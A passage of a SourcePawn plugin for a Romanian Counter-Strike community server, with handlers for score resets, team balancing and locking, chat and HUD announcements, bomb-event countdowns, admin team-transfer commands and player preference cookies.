		PrintToChat(id, " \x05[BOT]ESL\x01: \x06%s\x01, scorul tău este deja resetat.", name);
		return Plugin_Handled;
	}
	
	SetClientFrags(id, 0);
	SetClientDeaths(id, 0);
	CS_SetMVPCount(id, 0);
	CS_SetClientAssists(id, 0);
	CS_SetClientContributionScore(id, 0);	
	PrintToChat(id, " \x05[BOT]ESL\x01: \x06%s\x01, scorul tău a fost resetat.", name);
	return Plugin_Handled;
}
	
stock bool SetClientFrags(int index, int frags)
{
	SetEntProp(index, Prop_Data, "m_iFrags", frags);
	return true;
}
stock bool SetClientDeaths(int index, int deaths)
{
	SetEntProp(index, Prop_Data, "m_iDeaths", deaths);
	return true;
}
/* Sfârșit resetare scor */
	
/* Început fix bug jucători */
public Action Event_TeamChangePending(Event event, const char[] name, bool dontBroadcast)
{	
	int EchipaCT = GetTeamClientCount(CS_TEAM_CT);
	int EchipaT = GetTeamClientCount(CS_TEAM_T);
	int EchipaNoua = event.GetInt("toteam");
	
	if(EchipaNoua == CS_TEAM_CT && EchipaCT == 0 && EchipaT > 1 || EchipaNoua == CS_TEAM_T && EchipaT == 0 && EchipaCT > 1)
	{
		ServerCommand("mp_restartgame 1");
	}
	
	return Plugin_Continue;
}
/* Sfârșit fix bug jucători */

public void Event_PlayerConnect(Event event, const char[] name, bool dontBroadcast) 
{
	int client = GetClientOfUserId(event.GetInt("userid"));
	if(IsValidClient(client))
	{
		int JucatoriConnectati = 0;
		for(int i = 1; i<MaxClients; i++) 
		{
			if(IsClientInGame(i) && !IsFakeClient(i)) 
			{
				JucatoriConnectati++;
			}
		}
		PrintToChat(client, " \x08\x10★\x08 ------------------------------------------ \x10★\x08");
		PrintToChat(client, " \x05[BOT]ESL\x01: Salut, \x10%N\x01.", client);
		PrintToChat(client, "Bine ai venit pe \x06ESL.GAMELIFE.RO\x01!");
		PrintToChat(client, "Sunt \x06%d \x01/ \x0640 \x01jucători conectați pe server.",  JucatoriConnectati);
		PrintToChat(client, "Pentru a deschide meniul principal apasă pe \x06virgulă\x01.");
		PrintToChat(client, " \x06Distracție plăcută și spor la fraguri!");
		PrintToChat(client, " \x08\x10★\x08 ------------------------------------------ \x10★\x08");
		CreateTimer(3.0, Salut, client);
		CreateTimer(20.0, Auto_Meniu, client);
	}
}

/* Început echilibrare număr de jucători */
public Action Event_PreRoundStart(Handle event, const char[] name, bool dontBroadcast) 
{ 
	int EchipaCT = GetTeamClientCount(CS_TEAM_CT);
	int EchipaT = GetTeamClientCount(CS_TEAM_T);
	     
	if(EchipaT == EchipaCT || EchipaT + 1 == EchipaCT || EchipaCT + 1 == EchipaT)
		return Plugin_Continue;
	      
	while(EchipaT > EchipaCT && EchipaT != EchipaCT + 1)
	{
		int client = GetRandomPlayer(CS_TEAM_T);
		int oldmoney = Client_GetMoney(client);
		CS_SwitchTeam(client, CS_TEAM_CT);
		int newmoney = Client_GetMoney(client);
		EchipaT--;
		EchipaCT++;
		if(newmoney != oldmoney)
		{
			Client_SetMoney(client, oldmoney);
		}
	}
	while(EchipaT < EchipaCT && EchipaCT != EchipaT + 1)
	{
		int client = GetRandomPlayer(CS_TEAM_CT);
		int oldmoney = Client_GetMoney(client);
		CS_SwitchTeam(client, CS_TEAM_T);
		int newmoney = Client_GetMoney(client);       
		EchipaCT--;
		EchipaT++;
		if(newmoney != oldmoney)
		{
			Client_SetMoney(client, oldmoney);
		}
	}
	return Plugin_Continue;
} 
	
stock int GetRandomPlayer(int team)
{
	int[] clients = new int[MaxClients];
	int clientCount;
	for (int i = 1; i <= MaxClients; i++)
	{
		if (IsClientInGame(i) && GetClientTeam(i) == team)
		{
			clients[clientCount++] = i;
		}
	}
	return (clientCount == 0) ? -1 : clients[GetRandomInt(0, clientCount - 1)];
}
/* Sfârșit echilibrare număr de jucători */
	
/* Început blocare schimbare echipă */
public Action Command_CheckJoin(int client, const char[] command, int args)
{
	if(GameRules_GetProp("m_bWarmupPeriod") == 0)
	{
		char teamString[3];
		GetCmdArg(1, teamString, sizeof(teamString));
		int Target_Team = StringToInt(teamString);
		int Current_Team = GetClientTeam(client);
		if(Current_Team == 2 && Target_Team == 3)
		{
			PrintToChat(client, " \x05[BOT]ESL\x01: Nu te poti muta la \x0Banti-teroriști\x01!");
			EmitSoundToClient(client, "*xsag/sunete/restrictie.mp3");
			return Plugin_Handled;
		}
		else if(Current_Team == 3 && Target_Team == 2)
		{
			PrintToChat(client, " \x05[BOT]ESL\x01: Nu te poti muta la \x09teroriști\x01!");
			EmitSoundToClient(client, "*xsag/sunete/restrictie.mp3");
			return Plugin_Handled;
		}
		else if(Current_Team == 3 && Target_Team == 1 || Current_Team == 2 && Target_Team == 1)
		{
			PrintToChat(client, " \x05[BOT]ESL\x01: Scrie \x06/afk \x01dacă vrei să intri ca spectator!");
			EmitSoundToClient(client, "*xsag/sunete/restrictie.mp3");
			return Plugin_Handled;
		}
	}
	return Plugin_Continue;
}
/* Sfârșit blocare schimbare echipă */
	
/* Început blocare mesaje radio */
public Action BlocareRadio(int client, const char[] command, int args) 
{
	if(IsValidClient(client))
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: Mesajele radio sunt blocate!");
	}
	return Plugin_Handled;
}
/* Sfârșit blocare mesaje radio */
	
/* Început mesaje cu informații în chat */
public Action DisplayAdsToAll(Handle timer) 
{
	if(NextMessage >= MessageNumber) 
	{
		NextMessage = 0;
	}
 
	char Message2Display[192];
	Format( Message2Display, sizeof(Message2Display), "%s", MesajeInChat[NextMessage]);
	PrintToChatAll( "%s", Message2Display );
	NextMessage++;
}

public Action DisplayAdsToAll2(Handle timer)
{
	for (int i = 1; i <= MaxClients; i++)  
	{  
		if (IsClientInGame(i))  
		{  
			if(UrmatorulMesaj >= sizeof(MesajeInHud)) 
			{
				UrmatorulMesaj = 0;
			}
			char Message2Display2[192];
			Format(Message2Display2, sizeof( Message2Display2), "%s", MesajeInHud[UrmatorulMesaj]);
			SetHudTextParams(0.0, 0.92, 8.0, GetRandomInt(0, 255), GetRandomInt(0, 255), GetRandomInt(0, 255), 255, 0, 0.00, 0.00, 0.00);
			ShowHudText(i, -1, "%s", Message2Display2); 
			UrmatorulMesaj++;
		}
	}
}
/* Sfârșit mesaje cu informații în chat */
 
/* Început info comenzi */

public Action Comanda_GrupWPP(int client, int args)
{
	PrintToChat(client, " \x05[BOT]ESL\x01: \x08Adresa grupului nostru de WAPP \x01» \x04https://chat.whatsapp.com/IKiY65aufYc29qDfJyXzgs");
	return Plugin_Handled;
}  

public Action Comanda_TS3(int client, int args)
{
	PrintToChat(client, " \x05[BOT]ESL\x01: \x08Adresa serverului nostru de TeamSpeak3 \x01» \x04ts.gamelife.ro");
	return Plugin_Handled;
}  

public Action Comanda_Grup(int client, int args)
{
	PrintToChat(client, " \x05[BOT]ESL\x01: \x08Adresa grupului nostru \x01» \x04https://steamcommunity.com/groups/eslgamelifero");
	return Plugin_Handled;
}  
	 
public Action Comanda_Discord(int client, int args)
{
	PrintToChat(client, " \x05[BOT]ESL\x01: \x03Adresa de Discord \x01» \x04https://discord.gg/UtPS4R9");
	return Plugin_Handled;
}

public Action Comanda_Forum(int client, int args)
{
	PrintToChat(client, " \x05[BOT]ESL\x01: Link forum \x07» \x09https://gamelife.ro » secțiunea ESL");
	return Plugin_Handled;
}

public Action Comanda_xSAG(int client, int args)
{
	PrintToChat(client, " \x05[BOT]ESL\x01: \x09Metode de contact \x07xSaG.");
	PrintToChat(client, " \x01- \x03Discord\x01: \x04xSaG#8670");
	PrintToChat(client, " \x01- \x08Steam\x01: \x04https://steamcommunity.com/id/xsag69");
	return Plugin_Handled;	
}
 
public Action Comanda_Owner(int client, int args)
{
	PrintToChat(client, " \x05[BOT]ESL\x01: \x09Metode de contact \x07Leo");
	PrintToChat(client, " \x01- \x03Discord\x01: \x04Leo#6994");
	PrintToChat(client, " \x01- \x08Steam\x01: \x04https://steamcommunity.com/id/leo211020/");
	return Plugin_Handled;
}
 
public Action Comanda_Owner1(int client, int args)
{
	PrintToChat(client, " \x05[BOT]ESL\x01: \x09Metode de contact \x07tibs.");
	PrintToChat(client, " \x01- \x03Discord\x01: \x04Pinu#2889");
	PrintToChat(client, " \x01- \x08Steam\x01: \x04https://steamcommunity.com/id/pinu_cs25/");
	return Plugin_Handled;
}

public Action Comanda_Setari(int client, int args)
{
	MeniuSetari(client);
	return Plugin_Handled;
}
public Action Comanda_Contact(int client, int args)
{
	PrintToChat(client, " \x05[BOT]ESL\x01: \x09Scrie \x07/owner \x09sau \x07/xsag \x09pentru a contacta ownerul. ");
	return Plugin_Handled;
}
/* Sfârșit info comenzi */
	
/* Început C4 event */
public Action Event_BombPlanted(Handle event, const char[] name, bool dontBroadcast) 
{
	int client = GetClientOfUserId(GetEventInt( event, "userid"));
	TimeLeft = GetConVarInt(FindConVar("mp_c4timer"));
	TimerH = CreateTimer(1.0, Timer_UpdateTimeLeft, _, TIMER_REPEAT|TIMER_FLAG_NO_MAPCHANGE);
	
	for(int i = 1; i <= MaxClients; i++)
	{
		if(IsClientInGame(i) && SunetC4[i])
		{
			ClientCommand( i, "play \"*xsag/sunete/planteaza.mp3\"");
		}
	}
	
	char Bombsite[64];
	GetEntPropString(client, Prop_Send, "m_szLastPlaceName", Bombsite, sizeof(Bombsite));
	
	if(client > 0 && client < MaxClients && IsClientInGame(client) && GetClientTeam(client) == 2) 
	{
		if(MoneyOffset != -1) 
		{
			if(!IsClientRealVip(client))
			{
				SetEntProp(client, Prop_Send, "m_iAccount", GetEntProp(client, Prop_Send, "m_iAccount") + bani_c4_novip);
				PrintToChat(client, " \x05[BOT]ESL\x01: Ai primit bonus \x10+150\x06$ \x01drept recompensă că ai plantat bomba!");
			}
			else
			{
				SetEntProp(client, Prop_Send, "m_iAccount", GetEntProp(client, Prop_Send, "m_iAccount") + bani_c4_vip);
				PrintToChat(client, " \x05[BOT]ESL\x01: Ai primit bonus \x10+250\x06$ \x01drept recompensă că ai plantat bomba!");
			}
		}
	}
	
	if(StrContains(Bombsite, "BombsiteA") != -1)
	{
		for (int i = 1; i <= MaxClients; i++)  
		{  
			if(IsClientInGame(i) && GetUserFlagBits(i) & VIP_FLAG) 
			{  
				SetHudTextParams(-1.0, 0.3, 5.0, 195, 35, 35, 255, 0, 0.1, 0.1, 0.1);
				ShowHudText(i, -1, "%N a plantat bomba în A!", client);  
			}  	
			else if(IsClientInGame(i))
			{
				SetHudTextParams(-1.0, 0.3, 5.0, 195, 35, 35, 255, 0, 0.1, 0.1, 0.1);
				ShowHudText(i, -1, "%N a plantat bomba!", client);  
			}
		} 
	}
	
	if(StrContains(Bombsite, "BombsiteB") != -1) 
	{
		for (int i = 1; i <= MaxClients; i++)  
		{  
			if(IsClientInGame(i) && GetUserFlagBits(i) & VIP_FLAG) 
			{  
				SetHudTextParams(-1.0, 0.3, 5.0, 195, 35, 35, 255, 0, 0.1, 0.1, 0.1);
				ShowHudText(i, -1, "%N a plantat bomba în B!", client);  
			}
			else if(IsClientInGame(i))
			{
				SetHudTextParams(-1.0, 0.3, 5.0, 195, 35, 35, 255, 0, 0.1, 0.1, 0.1);
				ShowHudText(i, -1, "%N a plantat bomba!", client);  
			}
		}
	}
}
	
public Action Event_BombDefused(Handle event, const char[] name, bool dontBroadcast)
{
	BombEndedTheRound = true;
	int client = GetClientOfUserId( GetEventInt(event, "userid"));
	
	if(TimerH != INVALID_HANDLE)
	{
		KillTimer(TimerH);
		TimerH = INVALID_HANDLE;
	}
	
	for (int i = 1; i <= MaxClients; i++)  
	{  
		if(IsClientInGame(i) && SunetC4[i])  
		{  
			ClientCommand(i, "play \"*xsag/sunete/dezamorsare.mp3\"");
			SetHudTextParams(-1.0, 0.3, 5.0, 74, 169, 34, 255, 0, 0.1, 0.1, 0.1);
			ShowHudText(i, -1, "%N a dezamorsat bomba!", client);  
		}
	}
}

public Action Event_BombExploded(Handle event, const char[] name, bool dontBroadcast)
{
	BombEndedTheRound = true;
	
	if(TimerH != INVALID_HANDLE)
	{
		KillTimer(TimerH);
		TimerH = INVALID_HANDLE;
	}
	
	for(int i = 1; i <= MaxClients; i++)
	{
		if(IsClientInGame(i) && SunetC4[i])
		{
			SetHudTextParams(-1.0, 0.3, 5.0, 195, 35, 35, 255, 0, 0.1, 0.1, 0.1);
			ShowHudText(i, -1, "Bomba a explodat!");
			ClientCommand(i, "play \"*xsag/sunete/explodeaza.mp3\"");
		}
	}
}

int TRWIN[] = {0, 3, 8, 12, 17, 18};
int CTWIN[] = {4, 5, 6, 7, 10, 11, 13, 16, 19};

bool IsCTReason(int reason) {
	for(int i = 0;i<sizeof(CTWIN);i++)
		if(CTWIN[i] == reason) return true;

	return false;
}

bool IsTRReason(int reason) {
	for(int i = 0;i<sizeof(TRWIN);i++)
		if(TRWIN[i] == reason) return true;

	return false;
}

int GetWinner(int reason) {
	if(IsTRReason(reason))
		return 2;

	if(IsCTReason(reason))
		return 3;

	return 0;
}
	
public Action CS_OnTerminateRound(float &delay, CSRoundEndReason &reason)
{
	int winner = GetWinner(view_as<int>(reason));
	if( (winner == CS_TEAM_CT || winner == CS_TEAM_T) && !BombEndedTheRound)
	{
		for(int i = 1; i < MaxClients; i++)
		{
			if(IsClientInGame(i) && MuzicaSfarsit[i])
			{
				ClientCommand(i, "play \"%s\"", ListaMuzica[GetRandomInt(0, sizeof(ListaMuzica)-1)]);
			}
		}
	}
	
	if(winner == CS_TEAM_CT && !BombEndedTheRound)
	{
		PrintToChatAll(" \x05[BOT]ESL\x01: \x0BAnti-Teroriștii \x01au câștigat această rundă, \x10eliminând toți inamicii\x01.");
	}
	
	if(reason == CSRoundEnd_TargetBombed && BombEndedTheRound)
	{
		PrintToChatAll(" \x05[BOT]ESL\x01: \x09Teroriștii \x01au câștigat această rundă, \x10explodând bomba\x01.");
	}
	
	if(reason == CSRoundEnd_BombDefused && BombEndedTheRound)
	{
		PrintToChatAll(" \x05[BOT]ESL\x01: \x0BAnti-Teroriștii  \x01au câștigat această rundă, \x10dezamorsând bomba\x01.");
	}
	
	if(winner == CS_TEAM_T && !BombEndedTheRound)
	{
		PrintToChatAll(" \x05[BOT]ESL\x01: \x09Teroriștii \x01au câștigat această rundă, \x10eliminând toți inamicii\x01.");
	}
	
	if(TimerH != INVALID_HANDLE)
	{
		delete TimerH;
	}
}
	
public Action Timer_UpdateTimeLeft(Handle timer) 
{
	if(TimerH != INVALID_HANDLE)
	{
		TimeLeft--;
		for(int i = 1; i <= MaxClients; i++)
		{
			if(IsClientInGame(i))
			{
				if(TimeLeft > 30)
				{
					SetHudTextParams(-1.0, 0.1, 5.0, 74, 169, 34, 255, 0, 0.1, 0.1, 0.1);
					ShowHudText(i, 1, "C4: %d\n[------------------------------]",TimeLeft);
				}
				if(TimeLeft == 29)
				{
					SetHudTextParams(-1.0, 0.1, 5.0, 74, 169, 34, 255, 0, 0.1, 0.1, 0.1);
					ShowHudText(i, 1, "C4: %d\n[|-----------------------------]",TimeLeft);
				}
				if(TimeLeft == 28)
				{
					SetHudTextParams(-1.0, 0.1, 5.0, 74, 169, 34, 255, 0, 0.1, 0.1, 0.1);
					ShowHudText(i, 1, "C4: %d\n[||----------------------------]",TimeLeft);
				}
				if(TimeLeft == 27)
				{
					SetHudTextParams(-1.0, 0.1, 5.0, 74, 169, 34, 255, 0, 0.1, 0.1, 0.1);
					ShowHudText(i, 1, "C4: %d\n[|||---------------------------]",TimeLeft);
				}
				if(TimeLeft == 26)
				{
					SetHudTextParams(-1.0, 0.1, 5.0, 74, 169, 34, 255, 0, 0.1, 0.1, 0.1);
					ShowHudText(i, 1, "C4: %d\n[||||--------------------------]",TimeLeft);
				}
				if(TimeLeft == 25)
				{
					SetHudTextParams(-1.0, 0.1, 5.0, 74, 169, 34, 255, 0, 0.1, 0.1, 0.1);
					ShowHudText(i, 1, "C4: %d\n[|||||-------------------------]",TimeLeft);
				}
				if(TimeLeft == 24)
				{
					SetHudTextParams(-1.0, 0.1, 5.0, 74, 169, 34, 255, 0, 0.1, 0.1, 0.1);
					ShowHudText(i, 1, "C4: %d\n[||||||------------------------]",TimeLeft);
				}
				if(TimeLeft == 23)
				{
					SetHudTextParams(-1.0, 0.1, 5.0, 74, 169, 34, 255, 0, 0.1, 0.1, 0.1);
					ShowHudText(i, 1, "C4: %d\n[|||||||-----------------------]",TimeLeft);
				}
				if(TimeLeft == 22)
				{
					SetHudTextParams(-1.0, 0.1, 5.0, 74, 169, 34, 255, 0, 0.1, 0.1, 0.1);
					ShowHudText(i, 1, "C4: %d\n[||||||||----------------------]",TimeLeft);
				}
				if(TimeLeft == 21)
				{
					SetHudTextParams(-1.0, 0.1, 5.0, 74, 169, 34, 255, 0, 0.1, 0.1, 0.1);
					ShowHudText(i, 1, "C4: %d\n[|||||||||---------------------]",TimeLeft);
				}
				if(TimeLeft == 20)
				{
					SetHudTextParams(-1.0, 0.1, 5.0, 202, 156, 30, 255, 0, 0.1, 0.1, 0.1);
					ShowHudText(i, 1, "C4: %d\n[||||||||||--------------------]",TimeLeft);
				}
				if(TimeLeft == 19)
				{
					SetHudTextParams(-1.0, 0.1, 5.0, 202, 156, 30, 255, 0, 0.1, 0.1, 0.1);
					ShowHudText(i, 1, "C4: %d\n[|||||||||||-------------------]",TimeLeft);
				}
				if(TimeLeft == 18)
				{
					SetHudTextParams(-1.0, 0.1, 5.0, 202, 156, 30, 255, 0, 0.1, 0.1, 0.1);
					ShowHudText(i, 1, "C4: %d\n[||||||||||||------------------]",TimeLeft);
				}
				if(TimeLeft == 17)
				{
					SetHudTextParams(-1.0, 0.1, 5.0, 202, 156, 30, 255, 0, 0.1, 0.1, 0.1);
					ShowHudText(i, 1, "C4: %d\n[|||||||||||||-----------------]",TimeLeft);
				}
				if(TimeLeft == 16)
				{
					SetHudTextParams(-1.0, 0.1, 5.0, 202, 156, 30, 255, 0, 0.1, 0.1, 0.1);
					ShowHudText(i, 1, "C4: %d\n[||||||||||||||----------------]",TimeLeft);
				}
				if(TimeLeft == 15)
				{
					SetHudTextParams(-1.0, 0.1, 5.0, 202, 156, 30, 255, 0, 0.1, 0.1, 0.1);
					ShowHudText(i, 1, "C4: %d\n[|||||||||||||||---------------]",TimeLeft);
				}
				if(TimeLeft == 14)
				{
					SetHudTextParams(-1.0, 0.1, 5.0, 202, 156, 30, 255, 0, 0.1, 0.1, 0.1);
					ShowHudText(i, 1, "C4: %d\n[||||||||||||||||--------------]",TimeLeft);
				}
				if(TimeLeft == 13)
				{
					SetHudTextParams(-1.0, 0.1, 5.0, 202, 156, 30, 255, 0, 0.1, 0.1, 0.1);
					ShowHudText(i, 1, "C4: %d\n[|||||||||||||||||-------------]",TimeLeft);
				}
				if(TimeLeft == 12)
				{
					SetHudTextParams(-1.0, 0.1, 5.0, 202, 156, 30, 255, 0, 0.1, 0.1, 0.1);
					ShowHudText(i, 1, "C4: %d\n[||||||||||||||||||------------]",TimeLeft);
				}
				if(TimeLeft == 11)
				{
					SetHudTextParams(-1.0, 0.1, 5.0, 202, 156, 30, 255, 0, 0.1, 0.1, 0.1);
					ShowHudText(i, 1, "C4: %d\n[|||||||||||||||||||-----------]",TimeLeft);
				}
				if(TimeLeft == 10)
				{
					SetHudTextParams(-1.0, 0.1, 5.0, 195, 35, 35, 255, 0, 0.1, 0.1, 0.1);
					ShowHudText(i, 1, "C4: %d\n[||||||||||||||||||||----------]",TimeLeft);
				}
				if(TimeLeft == 9)
				{
					SetHudTextParams(-1.0, 0.1, 5.0, 195, 35, 35, 255, 0, 0.1, 0.1, 0.1);
					ShowHudText(i, 1, "C4: %d\n[|||||||||||||||||||||---------]",TimeLeft);
				}
				if(TimeLeft == 8)
				{
					SetHudTextParams(-1.0, 0.1, 5.0, 195, 35, 35, 255, 0, 0.1, 0.1, 0.1);
					ShowHudText(i, 1, "C4: %d\n[||||||||||||||||||||||--------]",TimeLeft);
				}
				if(TimeLeft == 7)
				{
					SetHudTextParams(-1.0, 0.1, 5.0, 195, 35, 35, 255, 0, 0.1, 0.1, 0.1);
					ShowHudText(i, 1, "C4: %d\n[|||||||||||||||||||||||-------]",TimeLeft);
				}
				if(TimeLeft == 6)
				{
					SetHudTextParams(-1.0, 0.1, 5.0, 195, 35, 35, 255, 0, 0.1, 0.1, 0.1);
					ShowHudText(i, 1, "C4: %d\n[||||||||||||||||||||||||------]",TimeLeft);
				}
				if(TimeLeft == 5)
				{
					SetHudTextParams(-1.0, 0.1, 5.0, 195, 35, 35, 255, 0, 0.1, 0.1, 0.1);
					ShowHudText(i, 1, "C4: %d\n[|||||||||||||||||||||||||-----]",TimeLeft);
				}
				if(TimeLeft == 4)
				{
					SetHudTextParams(-1.0, 0.1, 5.0, 195, 35, 35, 255, 0, 0.1, 0.1, 0.1);
					ShowHudText(i, 1, "C4: %d\n[||||||||||||||||||||||||||----]",TimeLeft);
				}
				if(TimeLeft == 3)
				{
					SetHudTextParams(-1.0, 0.1, 5.0, 195, 35, 35, 255, 0, 0.1, 0.1, 0.1);
					ShowHudText(i, 1, "C4: %d\n[|||||||||||||||||||||||||||---]",TimeLeft);
				}
				if(TimeLeft == 2)
				{
					SetHudTextParams(-1.0, 0.1, 5.0, 195, 35, 35, 255, 0, 0.1, 0.1, 0.1);
					ShowHudText(i, 1, "C4: %d\n[||||||||||||||||||||||||||||--]",TimeLeft);
				}
				if(TimeLeft == 1)
				{
					SetHudTextParams(-1.0, 0.1, 5.0, 195, 35, 35, 255, 0, 0.1, 0.1, 0.1);
					ShowHudText(i, 1, "C4: %d\n[|||||||||||||||||||||||||||||-]",TimeLeft);
				}
				if(TimeLeft == 0)
				{
					SetHudTextParams(-1.0, 0.1, 5.0, 195, 35, 35, 255, 0, 0.1, 0.1, 0.1);
					ShowHudText(i, 1, "C4: %d\n[||||||||||||||||||||||||||||||]",TimeLeft);
				}
				if(TimeLeft == 4)
				{
					SetHudTextParams(-1.0, 0.3, 5.0, 240, 240, 255, 255, 0, 0.1, 0.1, 0.1);
					ShowHudText(i, 5, "E timpul să fugi, bomba o să explodeze!");	
				}
			}
		}
	}
	return Plugin_Continue;
}
/* Sfârșit C4 event */
	
/* Început comenzi transfer */
public Action Comanda_CT(int client, int args)
{	
	if(args < 1)
	{
		ReplyToCommand(client, "sm_ct nume");
		return Plugin_Handled;
	}
	
	char arg1[64];
	GetCmdArg(1, arg1, sizeof(arg1));
	int target = FindTarget(client, arg1, true, false);
	
	if(target == -1)
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: \x06Jucătorul nu a fost găsit!");
		return Plugin_Handled;
	}
	
	if(GetClientTeam(target) == CS_TEAM_CT)
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: \x06%N\x01 este deja la \x0Banti-teroriști\x01!", target);
	}
	else
	{
		PrintToChatAll(" \x05[BOT]ESL\x01: \x06%N\x01 a fost mutat la \x0Banti-teroriști \x01de către \x10%N\x01.", target, client);
		ForcePlayerSuicide(target);
		ChangeClientTeam(target, CS_TEAM_CT);
	}
	return Plugin_Handled;
}
	
public Action Comanda_T(int client, int args)
{
	if(args < 1)
	{
		ReplyToCommand(client, "sm_t nume");
		return Plugin_Handled;
	}
	
	char arg1[64];
	GetCmdArg(1, arg1, sizeof(arg1));
	int target = FindTarget(client, arg1, true, false);
	
	if(target == -1)
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: \x07Jucătorul nu a fost găsit!");
		return Plugin_Handled;
	}
	
	if(GetClientTeam(target) == CS_TEAM_T)
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: \x06%N\x01 este deja la \x09teroriști\x01!", target);
	}
	else
	{
		PrintToChatAll(" \x05[BOT]ESL\x01: \x06%N\x01 a fost mutat la \x09teroriști \x01de către \x10%N\x01.", target, client);
		ForcePlayerSuicide(target);
		ChangeClientTeam(target, CS_TEAM_T);
	}
	return Plugin_Handled;
}
	
public Action Comanda_Spec(int client, int args)
{
	if(args < 1)
	{
		ReplyToCommand(client, "sm_spec nume");
		return Plugin_Handled;
	}

	char arg1[64];
	GetCmdArg(1, arg1, sizeof(arg1));
	int target = FindTarget(client, arg1, true, false);
	
	if(target == -1)
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: \x06Jucătorul nu a fost găsit!");
		return Plugin_Handled;
	}
	
	if(GetClientTeam(target) == CS_TEAM_SPECTATOR)
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: \x06%N\x01 este deja la \x08specatori\x01!", target);
	}
	else
	{
		PrintToChatAll(" \x05[BOT]ESL\x01: \x06%N\x01 a fost mutat la \x08specatori \x01de către \x06%N\x01.", target, client);
		ForcePlayerSuicide(target);
		ChangeClientTeam(target, CS_TEAM_SPECTATOR);
	}
	return Plugin_Handled;
}
	
public Action Comanda_Afk(int target, int args)
{
	if(GetClientTeam(target) == CS_TEAM_SPECTATOR)
	{
		PrintToChat(target, " \x05[BOT]ESL\x01: \x06%N\x01 ești deja la specatori!", target);
	}
	else
	{
		ForcePlayerSuicide(target);
		ChangeClientTeam(target, CS_TEAM_SPECTATOR);
	}
	return Plugin_Handled;
}
/* Sfârșit comenzi transfer */
	
/* Început HUD început de rundă */
public Action Timer_Mesaje_Inceput_Runda(Handle Timer)
{
	for(int i = 1; i <= MaxClients; i++)
	{
		if(IsClientInGame(i))
		{
			if (GameRules_GetProp("m_bWarmupPeriod") == 1)
			{
				SetHudTextParams(-1.0, 0.1, 5.0, GetRandomInt(0, 255), GetRandomInt(0, 255), GetRandomInt(0, 255), 255, 0, 0.00, 0.00, 0.00);
				ShowHudText(i, -1, "Bine ai venit pe ESL.GAMELIFE.ro");
			}
			else
			{
				SetHudTextParams(-1.0, 0.1, 5.0, GetRandomInt(0, 255), GetRandomInt(0, 255), GetRandomInt(0, 255), 255, 0, 0.00, 0.00, 0.00);
				ShowHudText(i, -1, "O nouă rundă a început, baftă la fraguri!");
			}
		}
	}
	return Plugin_Stop;
}
/* Sfârșit HUD început de rundă */
	
/* Început anunț NoScope */


public void OnPluginEnd()
{
	for(int client = 1; client <= MaxClients; client++)
	{
		if(IsClientInGame(client))
		{
			OnClientDisconnect(client);
		}
	}
}

public void OnClientCookiesCached(int client) 
{
		char CrediteCount[12];
		GetClientCookie(client, CrediteCache, CrediteCount, sizeof(CrediteCount));
		Credite[client]  = StringToInt(CrediteCount);
		
		char VitezaCount[12] = 0;
		GetClientCookie(client, VitezaCache, VitezaCount, sizeof(VitezaCount));
		VipSpeedShop[client]  = StringToInt(VitezaCount);
		
		char BhopCount[12] = 0;
		GetClientCookie(client, BhopShopCache, BhopCount, sizeof(BhopCount));
		BhopShop[client]  = StringToInt(BhopCount);
		
		char WarnBhopCount[12] = 0;
		GetClientCookie(client, WarnBhopCache, WarnBhopCount, sizeof(WarnBhopCount));
		warnbhop[client]  = StringToInt(WarnBhopCount);
		
		
		char HS[5];
		GetClientCookie(client, HearSound, HS, sizeof(HS));
		
		if(StrEqual(HS, "0"))
		{
			CanHearTheSound[client] = false;
		}
		else if(StrEqual(HS, "1"))
		{
			CanHearTheSound[client] = true;
		}
		char C4s[5];
		GetClientCookie(client, C4Sound, C4s, sizeof(C4s));
		if(StrEqual(C4s, "0"))
		{
			SunetC4[client] = false;
		}
		else if(StrEqual(C4s, "1"))
		{
			SunetC4[client] = true;
		}
		char Tab[20];
		GetClientCookie(client, TagTab, Tab, sizeof(Tab));
		if(StrEqual(Tab, "0"))
		{
			TagTabMeniu[client] = false;
		}
		else if(StrEqual(Tab, "1"))
		{
			TagTabMeniu[client] = true;
		}
		
		char Tab1[20];
		GetClientCookie(client, TagChat, Tab1, sizeof(Tab1));
		if(StrEqual(Tab1, "0"))
		{
			TagChatMeniu[client] = false;
		}
		else if(StrEqual(Tab1, "1"))
		{
			TagChatMeniu[client] = true;
		}
		
		char Muzica[20];
		GetClientCookie(client, MuzicaCookie, Muzica, sizeof(Muzica));
		if(StrEqual(Muzica, "0"))
		{
			MuzicaSfarsit[client] = false;
		}
		else if(StrEqual(Muzica, "1"))
		{
			MuzicaSfarsit[client] = true;
		}
		
		
		char UserCookie[5];
		char UserCookie2[5];
		GetClientCookie(client, BhopCookie, UserCookie, sizeof(UserCookie));
		GetClientCookie(client, TracersCookie, UserCookie2, sizeof(UserCookie2));
	
		if(StrEqual(UserCookie, "0"))
		{
			CanBhop[client] = false;
		}
		else if(StrEqual(UserCookie, "1"))
		{
			CanBhop[client] = true;
		}
		
		if(StrEqual(UserCookie2, "0"))
		{
			CanEmitTracers[client] = false;
		}
		else if(StrEqual(UserCookie2, "1"))
		{
			CanEmitTracers[client] = true;
		}
}

public Action Event_PlayerDeathNoScope(Handle event, const char[] name, bool dontBroadcast)
{
	int victim = GetClientOfUserId(GetEventInt(event, "userid")), attacker = GetClientOfUserId( GetEventInt(event, "attacker"));
	if(IsValidClient(attacker) && IsValidClient(victim) && victim != attacker)
	{
		char Weapon[64];
		GetEventString(event, "weapon", Weapon, sizeof(Weapon));
		char AttackerName[32];
		GetClientName(attacker, AttackerName, sizeof(AttackerName));
		char VictimName[32];
		GetClientName(victim, VictimName, sizeof(VictimName));
		if((StrContains(Weapon, "awp") != -1 || StrContains(Weapon, "ssg08") != -1) && GetEntProp(attacker, Prop_Data, "m_iFOV") == 0 && !(GetEntityFlags( attacker ) & FL_ONGROUND)) 
		{
			if(CanHearTheSound[victim])
			{
				ClientCommand(victim, "play \"*xsag/sunete/noscope.mp3\"");
			}
			if(CanHearTheSound[attacker])
			{
				ClientCommand(attacker, "play \"*xsag/sunete/noscope.mp3\"");
			}
			PrintToChatAll(" \x05[BOT]ESL\x01: \x06%s\x01 ︻デ═一 \x0C %s\x01! [\x06✔\x10NoScope KQLY style\x01︎]", AttackerName, VictimName);
		}
